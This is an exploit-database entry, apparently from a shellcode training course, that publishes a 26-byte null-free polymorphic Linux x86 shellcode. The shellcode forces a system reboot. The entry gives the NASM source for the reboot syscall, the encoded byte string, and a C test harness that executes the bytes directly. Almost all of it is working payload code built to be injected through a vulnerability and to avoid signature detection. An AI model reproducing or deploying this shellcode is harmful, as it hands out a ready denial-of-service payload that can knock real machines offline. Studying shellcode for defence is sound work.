Linux/x86 - (reboot) polymorphic Shellcode (26 bytes)

# Exploit Title: Linux\x86 - 'reboot' polymorphic Shellcode (26 bytes)
# Purpose: This is a x86 Linux null-free polymorphic shellcode for forcing a reboot.
# Author: Upayan a.k.a. slaeryan
# Contact: [email protected]
# SLAE: 1525
# Vendor Homepage: None
# Software Link: None
# Tested on: Linux x86
# CVE: N/A
 
 
/*
; Filename: reboot_polymorphic.nasm
; Author: Upayan a.k.a. slaeryan
; SLAE: 1525
; Contact: [email protected]
; Purpose: This is a x86 Linux null-free polymorphic shellcode for forcing a reboot.
; Testing: ./reboot_polymorphic
; Compile with: ./compile.sh reboot_polymorphic
; Size of shellcode: 26 bytes
 
global _start                   
 
section .text
_start:
        xor eax, eax                ; Clearing the EAX register
    xor ebx, ebx                ; Clearing the EBX register
    xor ecx, ecx                ; Clearing the ECX register
    cdq                         ; Clearing the EDX register
    mov al, 0x58                ; Loading syscall value = 0x58 for reboot in AL
    mov ebx, 0xfee1dead         ; Loading magic 1 in EBX
    mov ecx, 672274793          ; Loading magic 2 in ECX
    mov edx, 0x1234567          ; Loading cmd val = LINUX_REBOOT_CMD_RESTART in EDX
    int 0x80                    ; Executing the reboot syscall
 
*/
 
 
#include <stdio.h>
#include <string.h>
 
unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80";
 
void main()
{
 
        printf("Shellcode Length:  %d\n", strlen(code));
 
        int (*ret)() = (int(*)())code;
 
        ret();
 
}
 
#  0day.today [2020-03-25]  #